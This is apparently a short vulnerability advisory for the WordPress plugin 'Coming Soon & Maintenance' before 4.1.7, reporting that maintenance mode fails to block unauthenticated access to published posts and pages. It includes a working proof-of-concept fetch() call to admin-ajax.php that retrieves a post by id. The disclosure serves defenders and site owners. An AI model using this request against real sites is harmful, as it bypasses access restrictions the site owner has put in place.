Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access in Maintenance Mode

The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them

PoC

Run the below command in the developer console of the web browser while being on the blog as unauthenticated, when maintenance mode is enabled fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=cmp_get_post_detail&id;=42’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));